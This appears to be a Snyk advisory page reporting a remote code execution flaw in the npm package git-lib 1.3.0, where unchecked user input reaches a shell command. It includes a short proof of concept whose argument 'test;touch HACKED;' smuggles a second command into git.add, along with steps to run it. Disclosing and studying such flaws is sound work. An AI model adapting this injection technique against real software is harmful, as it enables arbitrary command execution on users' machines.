git-lib@1.3.0 vulnerabilities

A github library for multiple package uses

Direct Vulnerabilities

Known vulnerabilities in the git-lib package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Remote Code Execution (RCE)

git-lib is an a library with different git commands for uses.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.

PoC by mik317

  • Create the following PoC file:
// poc.js
var git = require("git-lib");

git.add("test;touch HACKED;").then(function(){
    /** successfully added **/
}).catch(function(err){
    /** unsuccessful **/
});
  • Check there aren't files called HACKED
  • Execute the following commands in another terminal:
npm i git-lib # Install affected module
git init # Avoid problems with *git*
node poc.js #  Run the PoC
  • Recheck the files: now HACKED has been created

How to fix Remote Code Execution (RCE)?

There is no fixed version for git-lib.

*